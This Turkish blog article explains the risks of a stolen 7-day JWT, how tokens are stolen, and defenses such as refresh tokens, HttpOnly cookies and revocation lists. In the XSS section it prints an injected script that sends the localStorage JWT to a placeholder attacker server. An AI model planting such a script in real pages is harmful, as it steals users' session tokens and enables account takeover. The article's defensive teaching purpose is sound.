7 Günlük JWT: Çalındığında Neler Olur ve Nasıl Korunuruz?

7 gün geçerli bir JWT (JSON Web Token) çalındığında potansiyel riskleri ve saldırı senaryolarını merak mı ediyorsunuz? Bu makale, çalınan bir JWT’nin yol açabileceği güvenlik ihlallerini ve bu tür tehditlere karşı alınabilecek önlemleri adım adım açıklıyor.

Günümüz web uygulamalarının kalbinde yer alan kimlik doğrulama mekanizmaları, kullanıcı deneyimini kolaylaştırırken aynı zamanda ciddi güvenlik risklerini de beraberinde getirebilir. Özellikle JWT (JSON Web Token) gibi modern kimlik doğrulama yöntemleri, stateless (durumsuz) yapısıyla ölçeklenebilirlik avantajı sunsa da, token’ın çalınması durumunda ortaya çıkan tehditler göz ardı edilemez. Peki, bir JWT’nin geçerlilik süresi 7 gün olarak ayarlandığında ve bu token kötü niyetli kişilerin eline geçtiğinde ne gibi felaket senaryoları yaşanabilir? Bu sorunun cevabı, yalnızca teknik detaylarda değil, aynı zamanda olası saldırı vektörlerini ve alınabilecek proaktif güvenlik önlemlerini anlamakta yatıyor.

JWT Nedir ve Modern Web Uygulamaları İçin Neden Bu Kadar Önemlidir?

JSON Web Token (JWT), web uygulamalarında kullanıcı kimlik doğrulama ve yetkilendirme süreçlerini yönetmek için kullanılan, kompakt ve URL güvenli bir token formatıdır. Temel olarak, bir kullanıcının kimliğini veya belirli yetkilerini temsil eden bilgileri güvenli bir şekilde iletmek için tasarlanmıştır. Geleneksel oturum (session) tabanlı kimlik doğrulama yöntemlerinin aksine, JWT sunucu tarafında herhangi bir oturum durumu tutmaz, bu da onu “stateless” (durumsuz) yapar. Bu durum, özellikle mikroservis mimarileri ve dağıtık sistemler için büyük bir avantaj sağlar, çünkü her servis, token’ın geçerliliğini kendi başına doğrulayabilir ve veritabanı sorgularına veya merkezi bir oturum yönetimi servisine bağımlı kalmaz.

Bir JWT üç ana bölümden oluşur: Header (Başlık), Payload (Yük) ve Signature (İmza). Bu bölümler, nokta (.) ile ayrılmış Base64Url kodlu dizeler olarak birleştirilir. İşte bir JWT’nin yapısı:

Header (Başlık): Token’ın türünü (genellikle JWT) ve kullanılan imzalama algoritmasını (örneğin, HMAC SHA256 veya RSA) belirtir.
Payload (Yük): Kullanıcı bilgileri, yetkilendirme rolleri ve token’ın geçerlilik süresi gibi “claim” (iddia) adı verilen verileri içerir. Standart iddialar arasında iss (veren), exp (son kullanma tarihi), sub (konu) ve aud (hedef kitle) bulunur. Geliştiriciler ayrıca uygulamalarına özel iddialar da ekleyebilir. Örneğin, bir kullanıcının ID’si veya rolü gibi bilgiler burada saklanabilir.
Signature (İmza): Header ve Payload bölümlerinin Base64Url kodlu halleri ile sunucu tarafında tutulan gizli bir anahtar (secret key) kullanılarak oluşturulan kriptografik bir hash değeridir. Bu imza, token’ın bütünlüğünü ve orijinalliğini garanti eder. Yani, token’ın içeriği değiştirilirse veya gizli anahtar bilinmiyorsa, imza doğrulanamaz ve token geçersiz sayılır. Bu sayede, token’ın yetkisiz kişilerce kurcalanması engellenir.

JWT’nin bu yapısı, onu modern web geliştirme dünyasında vazgeçilmez kılan temel özelliklerden biridir. Mobil uygulamalardan tek sayfa uygulamalarına (SPA’lar) kadar geniş bir kullanım alanına sahiptir. Bir kullanıcı giriş yaptığında, sunucu bir JWT oluşturur ve bu token’ı istemciye gönderir. İstemci, sonraki her istekte bu token’ı HTTP başlığında (genellikle Authorization: Bearer <token> şeklinde) sunucuya geri gönderir. Sunucu, gelen token’ın imzasını doğrulayarak ve geçerlilik süresini kontrol ederek kullanıcının kimliğini ve yetkilerini doğrular. Bu süreç, sunucu üzerindeki yükü azaltır ve sistemin daha esnek olmasını sağlar.

7 Günlük Geçerlilik Süresi Ne Anlama Gelir ve Uzun Süreli Token’ların Riskleri Nelerdir?

Bir JWT’nin geçerlilik süresi, token’ın ne kadar süreyle aktif kalacağını belirleyen kritik bir güvenlik parametresidir ve genellikle “expiration time” (exp claim) olarak Payload kısmında tanımlanır. Bu süre, token’ın oluşturulduğu andan itibaren belirli bir zaman diliminde geçerli olacağını gösterir. Örneğin, 7 günlük bir geçerlilik süresi, token’ın oluşturulduğu andan itibaren bir hafta boyunca kullanıcının kimliğini ve yetkilerini temsil edebileceği anlamına gelir. Bu süre zarfında, token’ı elinde bulunduran herkes, token’ın temsil ettiği kullanıcı adına işlem yapma yetkisine sahip olur.

Geliştiriciler genellikle kullanıcı deneyimi ve kolaylık adına uzun geçerlilik süreleri tercih edebilirler. Kullanıcıların sık sık yeniden giriş yapmak zorunda kalmaması, uygulama kullanımını daha akıcı hale getirir. Ancak bu kolaylık, beraberinde ciddi güvenlik riskleri taşır. Özellikle 7 gün gibi nispeten uzun bir geçerlilik süresi, çalınan bir JWT’nin kötü niyetli bir aktör tarafından istismar edilebileceği potansiyel süreyi önemli ölçüde artırır. Kısa ömürlü token’lar (örneğin, 15 dakika veya 1 saat geçerli olanlar) çalındığında, saldırganın kullanabileceği pencere oldukça dardır ve token’ın süresi dolmadan önce anlamlı bir hasar verme olasılığı düşüktür. Ancak 7 günlük bir token, saldırgana çok daha geniş bir zaman dilimi sunar.

Uzun süreli token’ların taşıdığı riskleri daha iyi anlamak için şu senaryoları göz önünde bulunduralım:

Genişletilmiş Saldırı Penceresi: Bir saldırganın token’ı ele geçirmesi durumunda, bu token’ı 7 gün boyunca kullanma imkanı bulur. Bu süre zarfında, kullanıcının hesabına yetkisiz erişim sağlayabilir, hassas verileri çalabilir, finansal işlemler gerçekleştirebilir veya sistem üzerinde kötü niyetli eylemlerde bulunabilir. Bu, saldırganın planlarını uygulamak ve tespit edilmeden önce maksimum fayda sağlamak için bolca zamanı olduğu anlamına gelir.
Token İptalinin Zorluğu: Geleneksel oturum tabanlı sistemlerde, bir oturum kimliği çalındığında sunucu tarafında oturum kolayca sonlandırılabilir. Ancak JWT’ler durumsuz olduğu için, bir token oluşturulduktan sonra süresi dolana kadar geçerliliğini korur. Sunucunun bir token’ı geçerlilik süresi dolmadan iptal etmesi, ek mekanizmalar (örneğin, bir kara liste veya iptal listesi) gerektirir. 7 günlük bir token için bu tür bir iptal mekanizması olmaması, çalınan token’ın tüm geçerlilik süresi boyunca aktif kalmasına neden olur.
Kullanıcı Farkındalığının Düşüklüğü: Kullanıcılar genellikle hesaplarının tehlikede olduğunu hemen fark etmezler. Bir hafta boyunca fark edilmeyen bir token çalınması, saldırganın sessizce ve uzun süre boyunca sisteme erişmesine olanak tanır. Bu durum, veri sızıntılarının veya yetkisiz işlemlerin boyutunu artırabilir.
Depolama Güvenliği Riski: Uzun ömürlü token’lar, istemci tarafında (tarayıcı Local Storage, Session Storage veya çerezler) daha uzun süre saklandığı için, bu depolama alanlarının güvenlik açıkları üzerinden ele geçirilme riskini de artırır. Özellikle Local Storage, XSS saldırılarına karşı savunmasızdır ve uzun ömürlü bir token’ın burada saklanması, ciddi bir güvenlik ihlali potansiyeli taşır.

Özetle, 7 günlük bir JWT’nin sağladığı kullanıcı kolaylığı, güvenlik maliyetiyle birlikte gelir. Bu tür uzun ömürlü token’lar, saldırganlara daha fazla zaman ve fırsat sunarak potansiyel hasarın boyutunu artırır. Bu nedenle, token geçerlilik sürelerini belirlerken güvenlik ve kullanılabilirlik arasında dikkatli bir denge kurmak hayati önem taşır.

Bir JWT Nasıl Çalınır? Yaygın Saldırı Yöntemleri Nelerdir?

Bir JWT’nin çalınması, kötü niyetli aktörlerin bir kullanıcının kimliğine bürünerek yetkisiz erişim sağlamasının ana yollarından biridir. Bu token’lar genellikle istemci tarafında (tarayıcıda veya mobil uygulamada) saklandığı için, çeşitli web tabanlı saldırı yöntemleri veya kullanıcıya yönelik manipülasyonlarla ele geçirilebilir. İşte bir JWT’nin çalınmasına yol açabilecek en yaygın saldırı yöntemleri:

Cross-Site Scripting (XSS) Saldırıları:
XSS, bir saldırganın web uygulamasına kötü amaçlı istemci tarafı komut dosyaları (genellikle JavaScript) enjekte etmesine olanak tanıyan bir güvenlik açığıdır. Uygulama, kullanıcı girdilerini yeterince doğrulamadığında veya sanitasyon yapmadığında ortaya çıkar. Bir XSS saldırısı başarılı olduğunda, saldırganın enjekte ettiği komut dosyası, kullanıcının tarayıcısında çalışır ve bu komut dosyası, tarayıcıda saklanan JWT’ye erişebilir ve onu saldırganın kontrolündeki bir sunucuya gönderebilir. Örneğin, bir yorum alanına enjekte edilen basit bir JavaScript kodu, kullanıcının Local Storage’ında saklanan JWT’yi çalabilir:
```
<script>
  fetch('https://saldrgan-sitesi.com/steal-jwt', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({ token: localStorage.getItem('jwt') }),
  });
</script>
```
Bu kod, kullanıcının JWT’sini saldırganın sunucusuna gönderir. Eğer JWT Local Storage’da saklanıyorsa, XSS en kolay yoldur.
Man-in-the-Middle (MITM) Saldırıları:
MITM saldırılarında, saldırgan, istemci ile sunucu arasındaki iletişimi gizlice dinler ve manipüle eder. Özellikle güvenli olmayan HTTP bağlantıları üzerinden gerçekleşen iletişimlerde, saldırgan token’ı doğrudan ağ trafiğinden yakalayabilir. SSL/TLS şifrelemesi (HTTPS) bu tür saldırılara karşı güçlü bir koruma sağlasa da, yanlış yapılandırılmış SSL sertifikaları veya kullanıcıların sahte sertifikaları kabul etmesi durumunda MITM hala bir tehdit olabilir. Saldırgan, kullanıcının güvenli olmayan bir Wi-Fi ağına bağlanmasını sağlayarak veya DNS zehirlenmesi yaparak bu tür bir saldırıyı gerçekleştirebilir.
Phishing (Oltalama) ve Sosyal Mühendislik:
Bu yöntemlerde, saldırganlar kullanıcıları kandırarak kendi kimlik bilgilerini veya token’larını doğrudan vermeye ikna eder. Oltalama e-postaları, sahte web siteleri veya mesajlar aracılığıyla kullanıcılar, gerçek gibi görünen bir giriş sayfasına yönlendirilebilir ve burada kimlik bilgilerini veya mevcut JWT’lerini girmeleri istenebilir. Kullanıcılar, farkında olmadan hassas bilgilerini saldırganlara teslim ederler. Örneğin, “Hesabınız askıya alındı, lütfen giriş yapın” gibi bir e-posta ile kullanıcı sahte bir siteye yönlendirilebilir.
Malware (Kötü Amaçlı Yazılım) ve Keyloggers (Tuş Kaydediciler):
Kullanıcının bilgisayarına bulaşan kötü amaçlı yazılımlar, tarayıcı verilerini, çerezleri veya Local Storage içeriğini okuyabilir. Keylogger’lar ise kullanıcının klavye girdilerini kaydederek şifreleri veya token’ları ele geçirebilir. Bu tür yazılımlar genellikle e-posta ekleri, zararlı indirmeler veya güvenlik açıkları yoluyla yayılır. Birçok kötü amaçlı yazılım, tarayıcıların depoladığı oturum bilgilerini ve token’ları hedef alacak şekilde özel olarak tasarlanmıştır.
Insecure Storage (Güvenli Olmayan Depolama):
JWT’lerin istemci tarafında nerede saklandığı, güvenlik açısından büyük önem taşır. Eğer token’lar Local Storage veya Session Storage gibi XSS saldırılarına karşı savunmasız alanlarda saklanırsa, çalınma riskleri artar. httpOnly ve Secure flag’leri ile işaretlenmiş çerezler, JavaScript erişimine kapalı olduğu için XSS saldırılarına karşı daha güvenlidir. Ancak, çerezler de CSRF saldırılarına karşı savunmasız olabilir.

Bu saldırı yöntemlerinin her biri, farklı teknikler ve güvenlik açıkları üzerinden JWT’yi ele geçirmeyi hedefler. Geliştiricilerin ve kullanıcıların bu tehditlerin farkında olması ve uygun koruyucu önlemleri alması, JWT güvenliğinin sağlanmasında kritik bir rol oynar.

Çalınan 7 Günlük Bir JWT İle Neler Yapılabilir? Vaka Analizleri ve Etkileri

7 gün geçerli bir JWT’nin kötü niyetli kişilerin eline geçmesi, bir kullanıcının dijital kimliğinin ve yetkilerinin tamamen ele geçirilmesi anlamına gelir. Bu durum, siber saldırganlar için geniş bir istismar alanı sunar ve hem kullanıcı hem de uygulama sağlayıcısı için ciddi sonuçlar doğurabilir. İşte çalınan bir token ile yapılabilecekler ve gerçek dünya senaryolarını anlatan vaka analizleri:

Hesap Ele Geçirme (Account Takeover) ve Kimlik Avcılığı:
En doğrudan ve yıkıcı sonuçlardan biri hesap ele geçirmedir. Saldırgan, çalınan JWT’yi kullanarak, kullanıcının kimliğine bürünerek uygulamaya giriş yapabilir. Kullanıcı adı ve şifreye ihtiyaç duymadan, doğrudan yetkili bir oturum başlatabilir. Bu durum, kullanıcının profil bilgilerini değiştirmesine, şifresini sıfırlamasına, e-posta adresini değiştirmesine ve hatta diğer güvenlik önlemlerini (örneğin, iki faktörlü kimlik doğrulama ayarlarını) devre dışı bırakmasına olanak tanır. Bir e-ticaret sitesinde ele geçirilen bir hesap, kullanıcının kayıtlı ödeme bilgilerini veya adreslerini değiştirerek dolandırıcılık amaçlı alışverişler için kullanılabilir.

Vaka Analizi: Bir kullanıcının sosyal medya platformundaki JWT’si bir XSS saldırısı sonucu çalındı. Saldırgan, bu token’ı kullanarak kullanıcının hesabına giriş yaptı, profil resmini değiştirdi, arkadaşlarına kötü amaçlı bağlantılar içeren mesajlar gönderdi ve kullanıcının adını kullanarak sahte haberler paylaştı. Bu durum, hem kullanıcının itibarına zarar verdi hem de diğer kullanıcılar arasında kötü amaçlı yazılımların yayılmasına neden oldu.
Hassas Veri Sızıntısı (Data Exfiltration):
Çalınan bir JWT, saldırganın kullanıcının yetkili olduğu tüm verilere erişmesine olanak tanır. Bu, kişisel bilgiler, finansal kayıtlar, sağlık verileri, özel mesajlar veya şirket sırları olabilir. Saldırgan, bu verileri kendi sunucularına indirebilir veya bunları fidye talebi, kimlik hırsızlığı veya rekabetçi casusluk gibi kötü amaçlı amaçlar için kullanabilir.

Vaka Analizi: Bir SaaS (Hizmet Olarak Yazılım) uygulamasında çalışan bir yöneticinin JWT’si, bir oltalama saldırısı sonucunda ele geçirildi. Bu token, yöneticinin müşteri veritabanına tam erişim yetkisi veriyordu. Saldırgan, 7 günlük geçerlilik süresinin büyük bir kısmını kullanarak binlerce müşterinin kişisel bilgilerini (ad, e-posta, telefon numarası, adres) ele geçirdi ve bu verileri dark web’de satışa çıkardı. Şirket, veri sızıntısını ancak token süresi dolduktan veya anormal aktivite fark edildikten sonra fark edebildi.
Yetkisiz İşlemler ve Finansal Dolandırıcılık:
Eğer uygulama, kullanıcının finansal işlemleri (para transferi, ödeme yapma, sipariş verme) gerçekleştirmesine izin veriyorsa, çalınan bir JWT bu işlemleri saldırgan adına gerçekleştirmek için kullanılabilir. Özellikle 7 günlük bir geçerlilik süresi, saldırganın bu tür işlemleri tekrar tekrar yapması veya karmaşık dolandırıcılık şemaları kurması için yeterli zamanı sunar.

Vaka Analizi: Bir bankacılık uygulamasının mobil versiyonunda, kullanıcının cihazına bulaşan bir kötü amaçlı yazılım, uygulamada saklanan JWT’yi çaldı. 7 gün boyunca geçerli olan bu token ile saldırgan, kullanıcının bilgisi olmadan küçük miktarlarda para transferleri gerçekleştirdi. Bu küçük transferler, kullanıcının banka ekstresinde fark edilmesi zor olacak şekilde tasarlandı. Token’ın süresi dolana kadar toplamda binlerce liralık yetkisiz işlem yapıldı.
Sistem Üzerinde Kötü Niyetli Eylemler ve İtibar Kaybı:
Saldırgan, ele geçirdiği token ile sadece veri çalmakla kalmaz, aynı zamanda sistem üzerinde kötü niyetli eylemlerde bulunabilir. Örneğin, bir kullanıcının yetkilerini kullanarak diğer kullanıcıların hesaplarına zarar verebilir, spam gönderebilir, sahte içerik oluşturabilir veya uygulamanın hizmetini aksatabilir. Bu tür eylemler, uygulamanın itibarına ciddi zarar verebilir ve kullanıcı güvenini sarsabilir.

Vaka Analizi: Bir içerik yönetim sistemi (CMS) kullanıcısının JWT’si ele geçirildi. Saldırgan, bu token’ı kullanarak kullanıcının yetkisi altındaki web sitesinde zararlı kodlar yayınladı, mevcut içerikleri sildi ve siteyi kötü niyetli reklamlarla doldurdu. Bu durum, sitenin arama motoru sıralamalarını düşürdü ve site ziyaretçilerinin güvenliğini tehlikeye attı.

Bu vaka analizleri, 7 günlük bir JWT’nin çalınmasının potansiyel olarak ne kadar yıkıcı olabileceğini gözler önüne sermektedir. Uzun geçerlilik süresi, saldırganlara daha fazla zaman ve fırsat tanıyarak hasarın boyutunu artırır. Bu nedenle, JWT güvenliği, modern web uygulamaları için vazgeçilmez bir öncelik olmalıdır.

JWT Çalınmasına Karşı Alınabilecek Güvenlik Önlemleri Nelerdir?

JWT’lerin çalınma riskini azaltmak ve çalınan bir token’ın potansiyel etkilerini sınırlamak için bir dizi güvenlik önlemi almak hayati önem taşır. Bu önlemler, hem geliştirme aşamasında hem de operasyonel süreçlerde uygulanmalıdır. İşte en etkili koruma yöntemleri:

Kısa Geçerlilik Süreleri ve Refresh Token Mekanizması:
JWT’lerin geçerlilik süresini mümkün olduğunca kısa tutmak (örneğin, 15-30 dakika) en temel ve etkili yöntemlerden biridir. Bu, bir token çalındığında saldırganın kullanabileceği zaman penceresini daraltır. Ancak, kısa süreli token’lar kullanıcı deneyimini olumsuz etkileyebilir çünkü kullanıcıların sık sık yeniden giriş yapması gerekir. Bu sorunu çözmek için Refresh Token (Yenileme Token’ı) mekanizması kullanılır. Access Token (Erişim Token’ı) kısa ömürlü olurken, Refresh Token daha uzun ömürlü (örneğin, 7 gün veya daha fazla) olabilir ve yeni bir Access Token almak için kullanılır. Refresh Token, httpOnly ve Secure flag’leri ile işaretlenmiş çerezlerde saklanmalı ve XSS saldırılarına karşı korunmalıdır. Ayrıca, Refresh Token’lar tek kullanımlık olmalı veya her kullanıldığında yenilenmelidir.
HTTP-Only ve Secure Flag’li Çerezler (Cookies):
JWT’leri (özellikle Refresh Token’ları) tarayıcının Local Storage’ı yerine httpOnly ve Secure flag’leri ile işaretlenmiş çerezlerde saklamak, XSS saldırılarına karşı önemli bir koruma sağlar. httpOnly flag’i, JavaScript’in çereze erişmesini engellerken, Secure flag’i ise çerezin yalnızca HTTPS üzerinden gönderilmesini sağlar. Bu, token’ın ağ üzerinden şifresiz gönderilmesini ve kötü amaçlı JavaScript kodları tarafından çalınmasını engeller.
```
Set-Cookie: jwt_token=eyJ...; HttpOnly; Secure; SameSite=Lax; Path=/; Expires=Sat, 07 Dec 2024 12:00:00 GMT
```
Yukarıdaki örnekte, HttpOnly ve Secure flag’leri ile birlikte SameSite=Lax (CSRF koruması için) ve Expires (geçerlilik süresi) belirtilmiştir.
Cross-Site Request Forgery (CSRF) ve Cross-Site Scripting (XSS) Koruması:
Uygulamanızı XSS’e karşı korumak için, kullanıcı girdilerini her zaman doğrulamalı ve sanitasyon (temizleme) yapmalısınız. Güvenli kodlama uygulamaları (örneğin, DOM manipülasyonunda güvenli API’ler kullanmak) ve Content Security Policy (CSP) uygulamak, XSS riskini azaltır. CSRF’e karşı korunmak için ise, çerezlerde saklanan token’lar için SameSite özelliğini kullanmalı veya her istekte benzersiz bir CSRF token’ı eklemelisiniz. SameSite=Lax veya Strict, çoğu CSRF saldırısını önler.
Çok Faktörlü Kimlik Doğrulama (MFA):
Kullanıcıların hesaplarına erişirken birden fazla doğrulama faktörü (örneğin, şifre ve cep telefonuna gönderilen kod) kullanmasını zorunlu kılmak, bir JWT çalınsa bile yetkisiz erişimi büyük ölçüde zorlaştırır. MFA, saldırganın yalnızca token’a sahip olmasıyla yetinmesini engeller.
Token İptali (Revocation) Mekanizması:
Durumsuz JWT’lerin doğası gereği iptal edilmesi zor olsa da, sunucu tarafında bir kara liste (blacklist) veya iptal listesi (revocation list) tutarak çalınan veya şüpheli görülen token’ları geçersiz kılmak mümkündür. Bir kullanıcı şifresini değiştirdiğinde veya şüpheli bir oturum algılandığında, ilgili tüm aktif token’lar bu listeye eklenerek geçersiz hale getirilebilir. Ancak bu, sunucu tarafında ek bir durum yönetimi gerektirir ve JWT’nin “stateless” yapısından kısmen ödün vermek anlamına gelir.
Rate Limiting (Oran Sınırlaması):
API uç noktalarına gelen istekleri sınırlamak, çalınan bir token ile gerçekleştirilebilecek kötü niyetli eylemlerin hızını ve kapsamını kısıtlar. Örneğin, belirli bir IP adresinden veya kullanıcıdan belirli bir zaman diliminde çok sayıda başarısız giriş denemesi veya hassas veri isteği geldiğinde, bu istekler geçici olarak engellenebilir.
Güncel Güvenlik Yamaları ve Güvenlik Denetimleri:
Kullanılan tüm kütüphanelerin, framework’lerin ve sunucu yazılımlarının güncel güvenlik yamalarını düzenli olarak uygulamak, bilinen güvenlik açıklarının istismar edilmesini engeller. Ayrıca, düzenli güvenlik denetimleri (penetration testing) ve kod incelemeleri yapmak, potansiyel zafiyetleri proaktif olarak tespit etmeye yardımcı olur.

Bu önlemlerin bir kombinasyonunu uygulamak, JWT tabanlı kimlik doğrulama sistemlerinin güvenliğini önemli ölçüde artırır ve çalınan token’ların yol açabileceği hasarı minimize eder. Güvenlik, tek bir çözümden ziyade katmanlı bir yaklaşımla sağlanır.

Refresh Token Mekanizması: Uzun Ömürlü Oturumlar İçin Güvenli Bir Yaklaşım

Daha önce de bahsettiğimiz gibi, JWT’lerin kısa geçerlilik süreleri güvenlik açısından arzu edilirken, kullanıcı deneyimi açısından sıkıntılar yaratabilir. İşte bu noktada Refresh Token (Yenileme Token’ı) mekanizması devreye girer. Refresh Token, uzun ömürlü oturumları güvenli bir şekilde yönetmek için Access Token (Erişim Token’ı) ile birlikte kullanılan ikincil bir token’dır. Bu mekanizma, güvenlik ve kullanılabilirlik arasında optimal bir denge kurmayı amaçlar.

Refresh Token Nasıl Çalışır?

Refresh Token mekanizması genellikle şu adımları içerir:

Giriş (Login): Kullanıcı başarılı bir şekilde giriş yaptığında, sunucu hem kısa ömürlü bir Access Token hem de uzun ömürlü bir Refresh Token oluşturur.
Access Token Kullanımı: İstemci, API istekleri için Access Token’ı kullanır. Bu token’ın geçerlilik süresi kısa olduğu için (örneğin 15-30 dakika), çalınması durumunda saldırganın kullanabileceği zaman penceresi dardır.
Access Token Süresinin Dolması: Access Token’ın süresi dolduğunda, istemci API’ye yetkisiz erişim hatası alır.
Yeni Access Token Talebi: İstemci, süresi dolan Access Token yerine, elindeki Refresh Token’ı kullanarak sunucudan yeni bir Access Token talep eder. Bu talep genellikle özel bir “refresh” veya “token yenileme” uç noktasına yapılır.
Refresh Token Doğrulaması: Sunucu, gelen Refresh Token’ı doğrular (geçerli olup olmadığını, süresinin dolup dolmadığını, iptal edilip edilmediğini kontrol eder). Eğer Refresh Token geçerliyse, sunucu yeni bir Access Token (ve isteğe bağlı olarak yeni bir Refresh Token) oluşturur ve istemciye gönderir.
Oturumun Devamı: İstemci, yeni Access Token’ı kullanarak uygulamayı kullanmaya devam eder.

Refresh Token Mekanizmasının Avantajları

Geliştirilmiş Güvenlik: Access Token’ların kısa ömürlü olması, çalınmaları durumunda saldırganın hasar verme süresini sınırlar.
Geliştirilmiş Kullanıcı Deneyimi: Kullanıcıların her Access Token süresi dolduğunda yeniden giriş yapması gerekmez, bu da daha akıcı bir deneyim sağlar.
Token İptali Kolaylığı: Refresh Token’lar genellikle veritabanında saklandığı için, şüpheli durumlarda (örneğin, kullanıcı şifresini değiştirdiğinde veya oturumu kapattığında) kolayca iptal edilebilirler. Bu, çalınan bir Refresh Token’ın etkisini sınırlamak için kritik bir özelliktir.

Refresh Token Güvenliği İçin Önemli Noktalar

Refresh Token’ların kendileri de hassas bilgiler içerdiği için özel bir koruma gerektirir:

Güvenli Depolama: Refresh Token’lar kesinlikle tarayıcının Local Storage’ında saklanmamalıdır. Bunun yerine, httpOnly ve Secure flag’leri ile işaretlenmiş çerezlerde saklanmalıdır. Bu, XSS saldırılarına karşı korunmalarını sağlar.
Tek Kullanımlık veya Rotasyon: Her kullanıldığında Refresh Token’ın yenisiyle değiştirilmesi (token rotasyonu) veya tek kullanımlık olması, bir Refresh Token çalınsa bile tekrar kullanılamamasını sağlar. Bu, özellikle Replay (Tekrar Oynatma) saldırılarına karşı etkilidir.
Geçerlilik Süresi: Refresh Token’ların geçerlilik süresi Access Token’lara göre daha uzun olsa da, bu sürenin de makul sınırlar içinde tutulması önemlidir (örneğin, 7 gün, 14 gün veya 30 gün). Çok uzun ömürlü Refresh Token’lar da risk oluşturabilir.
IP Tabanlı Kısıtlamalar: Bir Refresh Token ile yeni Access Token talep edildiğinde, isteğin geldiği IP adresinin, Refresh Token’ın orijinalde verildiği IP adresiyle eşleşip eşleşmediğini kontrol etmek ek bir güvenlik katmanı sağlar. IP adresi değişirse, token geçersiz sayılabilir.
Kullanıcı Ajanı Kontrolü: Refresh Token ile yapılan isteklerde, kullanıcının tarayıcı/cihaz bilgilerinin (User-Agent) de kontrol edilmesi, token’ın farklı bir cihazdan kullanılmasını engellemeye yardımcı olabilir.

Refresh Token mekanizması, modern kimlik doğrulama sistemlerinde uzun ömürlü oturumların güvenliğini sağlamak için kabul görmüş en iyi uygulamalardan biridir. Ancak, doğru şekilde uygulanması ve yukarıda belirtilen güvenlik önlemlerinin alınması, bu mekanizmanın etkinliğini artırır.

Sonuç ve Sıkça Sorulan Sorular

JWT’ler, modern web uygulamalarının kimlik doğrulama ve yetkilendirme süreçleri için güçlü ve esnek bir çözüm sunar. Ancak, 7 gün gibi uzun geçerlilik süreleriyle kullanıldığında ve çalındığında, kullanıcı hesaplarının ele geçirilmesinden hassas veri sızıntılarına, finansal dolandırıcılıktan sistem üzerinde kötü niyetli eylemlere kadar bir dizi ciddi güvenlik riskini beraberinde getirir. Bu makalede ele aldığımız gibi, çalınan bir token, saldırganlara geniş bir istismar penceresi sunarak hem kullanıcının hem de uygulamanın güvenliğini tehlikeye atar.

Bu riskleri minimize etmek için, geliştiricilerin güvenlik odaklı bir yaklaşım benimsemesi şarttır. Kısa ömürlü Access Token’lar ile Refresh Token mekanizmasının birleşimi, httpOnly ve Secure flag’li çerezlerde depolama, XSS ve CSRF korumaları, çok faktörlü kimlik doğrulama ve token iptali gibi önlemler, JWT tabanlı sistemlerin dayanıklılığını önemli ölçüde artırır. Güvenlik, sürekli bir çaba ve katmanlı bir savunma stratejisi gerektirir. Unutmayın ki, en iyi güvenlik uygulamalarını takip etmek, hem kullanıcılarınızı korumanın hem de uygulamanızın itibarını sağlam tutmanın anahtarıdır.

Sıkça Sorulan Sorular (SSS)

JWT nedir ve neden kullanılır?
JWT (JSON Web Token), web uygulamalarında kullanıcı kimlik doğrulama ve yetkilendirme için kullanılan, kompakt ve URL güvenli bir token formatıdır. Durumsuz (stateless) yapısı sayesinde sunucu tarafında oturum bilgisi tutulmasına gerek kalmaz, bu da ölçeklenebilirliği artırır ve mikroservis mimarileri için idealdir.
7 günlük bir JWT çalınırsa ne gibi riskler ortaya çıkar?
7 günlük bir JWT çalınırsa, saldırgan bu token’ı bir hafta boyunca kullanarak kullanıcının hesabına yetkisiz erişim sağlayabilir, hassas verileri çalabilir, finansal işlemler gerçekleştirebilir veya kötü niyetli eylemlerde bulunabilir. Uzun geçerlilik süresi, saldırganın hasar verme penceresini genişletir.
JWT’leri Local Storage’da saklamak güvenli midir?
Hayır, JWT’leri tarayıcının Local Storage’ında saklamak genellikle güvenli değildir. Local Storage, XSS (Cross-Site Scripting) saldırılarına karşı savunmasızdır; kötü amaçlı JavaScript kodu, Local Storage’daki token’a kolayca erişip onu çalabilir. Bu nedenle, httpOnly ve Secure flag’leri ile işaretlenmiş çerezler tercih edilmelidir.
Refresh Token mekanizması nasıl çalışır ve neden önemlidir?
Refresh Token mekanizması, kısa ömürlü Access Token’lar ile uzun ömürlü Refresh Token’ları birleştirerek hem güvenlik hem de kullanıcı deneyimi sağlar. Access Token’ın süresi dolduğunda, istemci Refresh Token’ı kullanarak sunucudan yeni bir Access Token talep eder. Bu, kullanıcıların sık sık yeniden giriş yapmasını engellerken, çalınan Access Token’ın kullanım süresini sınırlar.
Çalınan bir JWT’yi iptal etmek mümkün müdür?
JWT’ler doğası gereği durumsuz olduğu için, süresi dolmadan doğrudan iptal edilmesi zordur. Ancak, sunucu tarafında bir kara liste (blacklist) veya iptal listesi (revocation list) tutularak çalınan token’lar geçersiz kılınabilir. Bu, JWT’nin “stateless” yapısından kısmen ödün vermek anlamına gelse de, çalınan token’ların etkisini sınırlamak için etkili bir yöntemdir.

#JWTGüvenliği #WebGeliştirme #SiberGüvenlik #KimlikDoğrulama #TokenHırsızlığı

Örnek kod: github.com/fatihsoysalcom/jwt-stolen-token-revocation-expiration

Go Planlı Ödeme Verisi Temizliği: Dört Cron Scheduler Gecikme ve Maliyet Testlerinin Karşılaştırılması
17 Ekim 2026

Yapay Zeka Modelleri (LLM) İçin Doğru VRAM İhtiyacını Ölçmek Neden Kritik?
17 Ekim 2026